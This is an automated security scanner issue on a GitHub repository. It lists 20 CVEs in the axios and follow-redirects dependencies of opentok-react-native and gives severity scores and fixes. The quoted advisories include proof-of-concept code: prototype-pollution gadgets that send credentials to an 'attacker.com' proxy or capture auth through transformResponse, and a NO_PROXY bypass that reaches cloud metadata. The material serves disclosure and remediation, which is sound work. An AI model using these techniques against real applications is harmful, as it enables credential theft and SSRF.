Skip to content

opentok-react-native-2.31.1.tgz: 20 vulnerabilities (highest severity is: 8.7) #238

@mend-for-github-com

Description

@mend-for-github-com
Vulnerable Library - opentok-react-native-2.31.1.tgz

Path to dependency file: /MultipartyNewArchitecture/package.json

Path to vulnerable library: /ArchivingNewArchitecture/node_modules/axios/package.json,/BasicVideoChatNewArchitecture/node_modules/axios/package.json,/MultipartyNewArchitecture/node_modules/axios/package.json

Vulnerabilities

Vulnerability Severity CVSS Exploit Maturity EPSS Dependency Type Fixed in (opentok-react-native version) Remediation Possible** Reachability
CVE-2025-62718 High 7.2 Not Defined 0.069% axios-1.13.5.tgz Transitive 2.31.2

Unreachable

CVE-2026-40175 Medium 4.8 Not Defined 0.063% axios-1.13.5.tgz Transitive N/A*

Unreachable

CVE-2026-44494 High 8.7 Not Defined axios-1.13.5.tgz Transitive N/A*
CVE-2026-44492 High 8.6 Not Defined axios-1.13.5.tgz Transitive N/A*
CVE-2026-42264 High 7.4 Not Defined 0.07% axios-1.13.5.tgz Transitive 2.31.2
CVE-2026-42035 High 7.4 Not Defined 0.035% axios-1.13.5.tgz Transitive 2.31.2
CVE-2026-42033 High 7.4 Not Defined 0.043% axios-1.13.5.tgz Transitive 2.31.2
CVE-2026-42043 High 7.2 Not Defined 0.06% axios-1.13.5.tgz Transitive 2.31.2
CVE-2026-44495 High 7.0 Not Defined axios-1.13.5.tgz Transitive N/A*
CVE-2026-42038 Medium 6.8 Not Defined 0.06% axios-1.13.5.tgz Transitive 2.31.2
CVE-2026-42044 Medium 6.5 Not Defined 0.139% axios-1.13.5.tgz Transitive 2.31.2
CVE-2026-42042 Medium 5.4 Not Defined 0.048% axios-1.13.5.tgz Transitive 2.31.2
CVE-2026-42039 Medium 5.3 Not Defined 0.071% axios-1.13.5.tgz Transitive 2.31.2
CVE-2026-42037 Medium 5.3 Not Defined 0.085% axios-1.13.5.tgz Transitive 2.31.2
CVE-2026-42036 Medium 5.3 Not Defined 0.071% axios-1.13.5.tgz Transitive 2.31.2
CVE-2026-42034 Medium 5.3 Not Defined 0.071% axios-1.13.5.tgz Transitive 2.31.2
CVE-2026-40895 Medium 5.3 Not Defined 0.058% follow-redirects-1.15.11.tgz Transitive 2.31.2
CVE-2026-44490 Medium 4.8 Not Defined axios-1.13.5.tgz Transitive N/A*
CVE-2026-42041 Medium 4.8 Not Defined 0.148% axios-1.13.5.tgz Transitive 2.31.2
CVE-2026-42040 Low 3.7 Not Defined 0.061% axios-1.13.5.tgz Transitive 2.31.2

*For some transitive vulnerabilities, there is no version of direct dependency with a fix. Check the "Details" section below to see if there is a version of transitive dependency where vulnerability is fixed.

**In some cases, Remediation PR cannot be created automatically for a vulnerability despite the availability of remediation

Details

Partial details (12 vulnerabilities) are displayed below due to a content size limitation in GitHub. To view information on the remaining vulnerabilities, navigate to the Mend Application.

CVE-2025-62718

Vulnerable Library - axios-1.13.5.tgz

Promise based HTTP client for the browser and node.js

Library home page: https://registry.npmjs.org/axios/-/axios-1.13.5.tgz

Path to dependency file: /ArchivingNewArchitecture/package.json

Path to vulnerable library: /ArchivingNewArchitecture/node_modules/axios/package.json,/BasicVideoChatNewArchitecture/node_modules/axios/package.json,/MultipartyNewArchitecture/node_modules/axios/package.json

Dependency Hierarchy:

  • opentok-react-native-2.31.1.tgz (Root Library)
    • axios-1.13.5.tgz (Vulnerable Library)

Found in base branch: main

Reachability Analysis

The vulnerable code is unreachable

Vulnerability Details

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.0 and 0.31.0, Axios does not correctly handle hostname normalization when checking NO_PROXY rules. Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy. This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services. This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections. This vulnerability is fixed in 1.15.0 and 0.31.0.

Publish Date: 2026-04-09

URL: CVE-2025-62718

Threat Assessment

Exploit Maturity: Not Defined

EPSS: 0.069%

CVSS 3 Score Details (7.2)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: Low
    • Privileges Required: None
    • User Interaction: None
    • Scope: Changed
  • Impact Metrics:
    • Confidentiality Impact: Low
    • Integrity Impact: Low
    • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-3p68-rc4w-qgx5

Release Date: 2026-04-09

Fix Resolution (axios): 1.15.0

Direct dependency fix Resolution (opentok-react-native): 2.31.2

⛑️ Automatic Remediation will be attempted for this issue.

CVE-2026-40175

Vulnerable Library - axios-1.13.5.tgz

Promise based HTTP client for the browser and node.js

Library home page: https://registry.npmjs.org/axios/-/axios-1.13.5.tgz

Path to dependency file: /ArchivingNewArchitecture/package.json

Path to vulnerable library: /ArchivingNewArchitecture/node_modules/axios/package.json,/BasicVideoChatNewArchitecture/node_modules/axios/package.json,/MultipartyNewArchitecture/node_modules/axios/package.json

Dependency Hierarchy:

  • opentok-react-native-2.31.1.tgz (Root Library)
    • axios-1.13.5.tgz (Vulnerable Library)

Found in base branch: main

Reachability Analysis

The vulnerable code is unreachable

Vulnerability Details

Axios is a promise based HTTP client for the browser and Node.js. Versions prior to 1.15.0 and 0.3.1 are vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests. This vulnerability is fixed in 1.15.0 and 0.3.1.

Publish Date: 2026-04-10

URL: CVE-2026-40175

Threat Assessment

Exploit Maturity: Not Defined

EPSS: 0.063%

CVSS 3 Score Details (4.8)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: High
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
  • Impact Metrics:
    • Confidentiality Impact: Low
    • Integrity Impact: Low
    • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Release Date: 2026-04-10

Fix Resolution: https://github.com/axios/axios.git - v1.15.0

CVE-2026-44494

Vulnerable Library - axios-1.13.5.tgz

Promise based HTTP client for the browser and node.js

Library home page: https://registry.npmjs.org/axios/-/axios-1.13.5.tgz

Path to dependency file: /ArchivingNewArchitecture/package.json

Path to vulnerable library: /ArchivingNewArchitecture/node_modules/axios/package.json,/BasicVideoChatNewArchitecture/node_modules/axios/package.json,/MultipartyNewArchitecture/node_modules/axios/package.json

Dependency Hierarchy:

  • opentok-react-native-2.31.1.tgz (Root Library)
    • axios-1.13.5.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in "config.proxy" Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any "Object.prototype" pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at "lib/adapters/http.js:670" reads "config.proxy" via standard property access, which traverses the prototype chain. Because "proxy" is not present in Axios defaults, the merged config object has no own "proxy" property, making it trivially injectable via prototype pollution. Once injected, "setProxy()" routes all HTTP requests through the attacker's proxy server. Unlike the "transformResponse" gadget (which is constrained by "assertOptions" to return "true"), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses. Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: "lib/adapters/http.js" (config property access on merged object) CWE - CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') CVSS 3.1 Score: 9.4 (Critical) Vector: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L" | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: "Object.prototype.proxy = {host:'attacker', port:8080}". Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike "transformResponse" which must return "true" | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact | Why This Bypasses mergeConfig The critical difference from "transformResponse": the "proxy" property is not in defaults ("lib/defaults/index.js" does not set "proxy"). This means: 1. "mergeConfig" iterates "Object.keys({...defaults, ...userConfig})" — "proxy" is NOT in this set 2. "defaultToConfig2" for "proxy" is never called 3. The merged config has no own "proxy" property 4. When "http.js:670" reads "config.proxy", JavaScript traverses the prototype chain 5. "Object.prototype.proxy" is found → used by "setProxy()" This is a more direct attack path than "transformResponse" because it doesn't even go through "mergeConfig"'s merge logic — it completely bypasses it. Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute "Object.prototype" via any other library in the stack (e.g., "qs", "minimist", "lodash", "body-parser"), Axios will automatically use the polluted "proxy" value when making HTTP requests. The developer's code is completely safe — no configuration errors needed. Proof of Concept 6. The Setup (Simulated Pollution) Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets: Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', }; 7. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } }); 8. The Execution At "http.js:668-670": setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path ); "setProxy()" at "http.js:191-239" then: function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } } 9. The Impact (Full MITM) The attacker's proxy server receives: GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, / The "Authorization" header contains "svc-account:prod-key-abc123!" in Base64. The attacker: - Sees every request URL, header, and body - Modifies every response (inject malicious data, change auth results) - Logs all API keys, session tokens, and passwords - Operates as an invisible proxy — the developer has no indication 5. Verified PoC Code import http from 'http'; import axios from './index.js'; // Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port; // Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port; // Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' }; // "Safe" request — goes through attacker's proxy const resp = await axios.get("http://127.0.0.1:${realPort}/api/secrets", { auth: { username: 'admin', password: 'SuperSecret123!' } }); console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!) delete Object.prototype.proxy; realServer.close(); proxyServer.close(); Verified PoC Output [1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0 [2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 } [3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true} [4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, /", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" } [5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests (not just a single instance) ✓ No assertOptions constraints (unlike transformResponse gadget) Impact Analysis - Full Credential Interception: Every HTTP request's "Authorization" header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. - Arbitrary Response Tampering: The attacker can return any response data — no constraints like "transformResponse"'s "must return true". - Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths. - Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios. - Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses. - Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector. Why This Is More Severe Than transformResponse (axios_26) | Dimension | transformResponse Gadget | proxy Gadget | |---|---|---| | Data access | "this.auth" + response data | All headers, auth, body, URL, response | | Response control | Must return "true" | Arbitrary responses | | Attack visibility | Response becomes "true" (suspicious) | Normal-looking responses (invisible) | | mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely | Recommended Fix Fix 1: Use "hasOwnProperty" when reading security-sensitive config properties // In lib/adapters/http.js const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined; setProxy(options, proxy, location); Fix 2: Enumerate all properties not in defaults and apply "hasOwnProperty" Properties not in defaults that are read by http.js and have security impact: - "config.proxy" — MITM - "config.socketPath" — Unix socket SSRF - "config.transport" — request hijack - "config.lookup" — DNS hijack - "config.beforeRedirect" — redirect manipulation - "config.httpAgent" / "config.httpsAgent" — agent injection All should use "hasOwnProperty" checks. Fix 3: Use null-prototype object for merged config // In lib/core/mergeConfig.js const config = Object.create(null); Resources - "CWE-1321: Prototype Pollution" (https://cwe.mitre.org/data/definitions/1321.html) - "CWE-441: Unintended Proxy" (https://cwe.mitre.org/data/definitions/441.html) - "GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)" (GHSA-fvcv-3m26-pcqx) - "Axios GitHub Repository" (https://github.com/axios/axios) Timeline | Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

Publish Date: 2026-05-29

URL: CVE-2026-44494

Threat Assessment

Exploit Maturity: Not Defined

EPSS:

CVSS 3 Score Details (8.7)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: High
    • Privileges Required: None
    • User Interaction: None
    • Scope: Changed
  • Impact Metrics:
    • Confidentiality Impact: High
    • Integrity Impact: High
    • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-35jp-ww65-95wh

Release Date: 2026-05-29

Fix Resolution: axios - 1.16.0

CVE-2026-44492

Vulnerable Library - axios-1.13.5.tgz

Promise based HTTP client for the browser and node.js

Library home page: https://registry.npmjs.org/axios/-/axios-1.13.5.tgz

Path to dependency file: /ArchivingNewArchitecture/package.json

Path to vulnerable library: /ArchivingNewArchitecture/node_modules/axios/package.json,/BasicVideoChatNewArchitecture/node_modules/axios/package.json,/MultipartyNewArchitecture/node_modules/axios/package.json

Dependency Hierarchy:

  • opentok-react-native-2.31.1.tgz (Root Library)
    • axios-1.13.5.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Summary shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as "127.0.0.1" or "169.254.169.254", a request URL using the IPv4-mapped IPv6 form ("::ffff:7f00:1", "::ffff:a9fe:a9fe") still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked. Details lib/helpers/shouldBypassProxy.js (v1.15.0): const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host); // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); The WHATWG URL parser canonicalises "http://[::ffff:127.0.0.1]/" to hostname "[::ffff:7f00:1]". After bracket-stripping: "::ffff:7f00:1". This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass. PoC // NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080 import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; // All three should return true (bypass proxy). Only the first two do. console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK] console.log(shouldBypassProxy('http://[::1]/')); // true [OK] console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass Node.js routes ::ffff:7f00:1 to 127.0.0.1: // net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service // bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS. Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it. Fix Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison: const ipv4MappedDotted = /^::ffff:(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})$/i; const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; function hexToIPv4(a, b) { const hi = parseInt(a, 16), lo = parseInt(b, 16); return "${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff}"; } const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; if (hostname[0] === '[' && hostname.at(-1) === ']') hostname = hostname.slice(1, -1); hostname = hostname.replace(/.+$/, '').toLowerCase(); let m; if ((m = hostname.match(ipv4MappedDotted))) return m[1]; if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]); return hostname; }; Impact Any application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.

Publish Date: 2026-05-29

URL: CVE-2026-44492

Threat Assessment

Exploit Maturity: Not Defined

EPSS:

CVSS 3 Score Details (8.6)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: Low
    • Privileges Required: None
    • User Interaction: None
    • Scope: Changed
  • Impact Metrics:
    • Confidentiality Impact: High
    • Integrity Impact: None
    • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-pjwm-pj3p-43mv

Release Date: 2026-05-29

Fix Resolution: axios - 0.32.0,axios - 1.16.0

CVE-2026-42264

Vulnerable Library - axios-1.13.5.tgz

Promise based HTTP client for the browser and node.js

Library home page: https://registry.npmjs.org/axios/-/axios-1.13.5.tgz

Path to dependency file: /ArchivingNewArchitecture/package.json

Path to vulnerable library: /ArchivingNewArchitecture/node_modules/axios/package.json,/BasicVideoChatNewArchitecture/node_modules/axios/package.json,/MultipartyNewArchitecture/node_modules/axios/package.json

Dependency Hierarchy:

  • opentok-react-native-2.31.1.tgz (Root Library)
    • axios-1.13.5.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.

Publish Date: 2026-05-08

URL: CVE-2026-42264

Threat Assessment

Exploit Maturity: Not Defined

EPSS: 0.07%

CVSS 3 Score Details (7.4)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: High
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
  • Impact Metrics:
    • Confidentiality Impact: High
    • Integrity Impact: High
    • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-q8qp-cvcw-x6jj

Release Date: 2026-05-05

Fix Resolution (axios): 1.15.2

Direct dependency fix Resolution (opentok-react-native): 2.31.2

⛑️ Automatic Remediation will be attempted for this issue.

CVE-2026-42035

Vulnerable Library - axios-1.13.5.tgz

Promise based HTTP client for the browser and node.js

Library home page: https://registry.npmjs.org/axios/-/axios-1.13.5.tgz

Path to dependency file: /ArchivingNewArchitecture/package.json

Path to vulnerable library: /ArchivingNewArchitecture/node_modules/axios/package.json,/BasicVideoChatNewArchitecture/node_modules/axios/package.json,/MultipartyNewArchitecture/node_modules/axios/package.json

Dependency Hierarchy:

  • opentok-react-native-2.31.1.tgz (Root Library)
    • axios-1.13.5.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, a prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request. The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget. This vulnerability is fixed in 1.15.1 and 0.31.1.

Publish Date: 2026-04-24

URL: CVE-2026-42035

Threat Assessment

Exploit Maturity: Not Defined

EPSS: 0.035%

CVSS 3 Score Details (7.4)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: High
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
  • Impact Metrics:
    • Confidentiality Impact: High
    • Integrity Impact: High
    • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-6chq-wfr3-2hj9

Release Date: 2026-04-24

Fix Resolution (axios): 1.15.1

Direct dependency fix Resolution (opentok-react-native): 2.31.2

⛑️ Automatic Remediation will be attempted for this issue.

CVE-2026-42033

Vulnerable Library - axios-1.13.5.tgz

Promise based HTTP client for the browser and node.js

Library home page: https://registry.npmjs.org/axios/-/axios-1.13.5.tgz

Path to dependency file: /ArchivingNewArchitecture/package.json

Path to vulnerable library: /ArchivingNewArchitecture/node_modules/axios/package.json,/BasicVideoChatNewArchitecture/node_modules/axios/package.json,/MultipartyNewArchitecture/node_modules/axios/package.json

Dependency Hierarchy:

  • opentok-react-native-2.31.1.tgz (Root Library)
    • axios-1.13.5.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, when Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process. This vulnerability is fixed in 1.15.1 and 0.31.1.

Publish Date: 2026-04-24

URL: CVE-2026-42033

Threat Assessment

Exploit Maturity: Not Defined

EPSS: 0.043%

CVSS 3 Score Details (7.4)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: High
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
  • Impact Metrics:
    • Confidentiality Impact: High
    • Integrity Impact: High
    • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-pf86-5x62-jrwf

Release Date: 2026-04-24

Fix Resolution (axios): 1.15.1

Direct dependency fix Resolution (opentok-react-native): 2.31.2

⛑️ Automatic Remediation will be attempted for this issue.

CVE-2026-42043

Vulnerable Library - axios-1.13.5.tgz

Promise based HTTP client for the browser and node.js

Library home page: https://registry.npmjs.org/axios/-/axios-1.13.5.tgz

Path to dependency file: /ArchivingNewArchitecture/package.json

Path to vulnerable library: /ArchivingNewArchitecture/node_modules/axios/package.json,/BasicVideoChatNewArchitecture/node_modules/axios/package.json,/MultipartyNewArchitecture/node_modules/axios/package.json

Dependency Hierarchy:

  • opentok-react-native-2.31.1.tgz (Root Library)
    • axios-1.13.5.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, an attacker who can influence the target URL of an Axios request can use any address in the 127.0.0.0/8 range (other than 127.0.0.1) to completely bypass the NO_PROXY protection. This vulnerability is due to an incomplete for CVE-2025-62718, This vulnerability is fixed in 1.15.1 and 0.31.1.

Publish Date: 2026-04-24

URL: CVE-2026-42043

Threat Assessment

Exploit Maturity: Not Defined

EPSS: 0.06%

CVSS 3 Score Details (7.2)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: Low
    • Privileges Required: None
    • User Interaction: None
    • Scope: Changed
  • Impact Metrics:
    • Confidentiality Impact: Low
    • Integrity Impact: Low
    • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-pmwg-cvhr-8vh7

Release Date: 2026-04-24

Fix Resolution (axios): 1.15.1

Direct dependency fix Resolution (opentok-react-native): 2.31.2

⛑️ Automatic Remediation will be attempted for this issue.

CVE-2026-44495

Vulnerable Library - axios-1.13.5.tgz

Promise based HTTP client for the browser and node.js

Library home page: https://registry.npmjs.org/axios/-/axios-1.13.5.tgz

Path to dependency file: /ArchivingNewArchitecture/package.json

Path to vulnerable library: /ArchivingNewArchitecture/node_modules/axios/package.json,/BasicVideoChatNewArchitecture/node_modules/axios/package.json,/MultipartyNewArchitecture/node_modules/axios/package.json

Dependency Hierarchy:

  • opentok-react-native-2.31.1.tgz (Root Library)
    • axios-1.13.5.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Summary Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted "Object.prototype.transformResponse", affected Axios versions may treat that inherited value as request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over "Object.prototype" before Axios creates a request. Impact For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks. If the attacker can pollute "Object.prototype.transformResponse" with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and "auth", and can change the response data returned to application code. This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs. Affected Functionality The affected functionality is Axios request config processing and response transformation. Affected use requires all of the following: - An affected Axios version. - A polluted "Object.prototype" in the same process or browser context. - Pollution before Axios merges or validates the request config. - A polluted key relevant to Axios config, especially "transformResponse". This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities. Technical Details In affected versions, "mergeConfig()" reads config values through normal property access. For config keys present in Axios defaults, including "transformResponse", a missing own property on the request config can fall through to "Object.prototype". In the fully affected path, this means "Object.prototype.transformResponse" can replace Axios's default response transform. The selected transform is later executed by "transformData()" with the request config as "this". Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in "validator.assertOptions()". In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform. Fixed versions use own-property checks and null-prototype config objects, so inherited "Object.prototype" values are not treated as Axios config or validator schema entries. Proof of Concept of Attack import http from 'http'; import axios from 'axios'; const seen = []; const server = http.createServer((req, res) => { res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ secret: 'response-secret' })); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); Object.prototype.transformResponse = function pollutedTransform(data, headers, status) { if (headers && typeof status === 'number') { seen.push({ url: this.url, username: this.auth && this.auth.username, password: this.auth && this.auth.password, responseData: data }); return { hijacked: true }; } return true; }; try { const { port } = server.address(); const response = await axios.get("http://127.0.0.1:${port}/users", { auth: { username: 'svc-account', password: 'prod-secret-key-123' } }); console.log(response.data); // { hijacked: true } console.log(seen[0]); // request config plus original response body } finally { delete Object.prototype.transformResponse; server.close(); } Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller. Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.

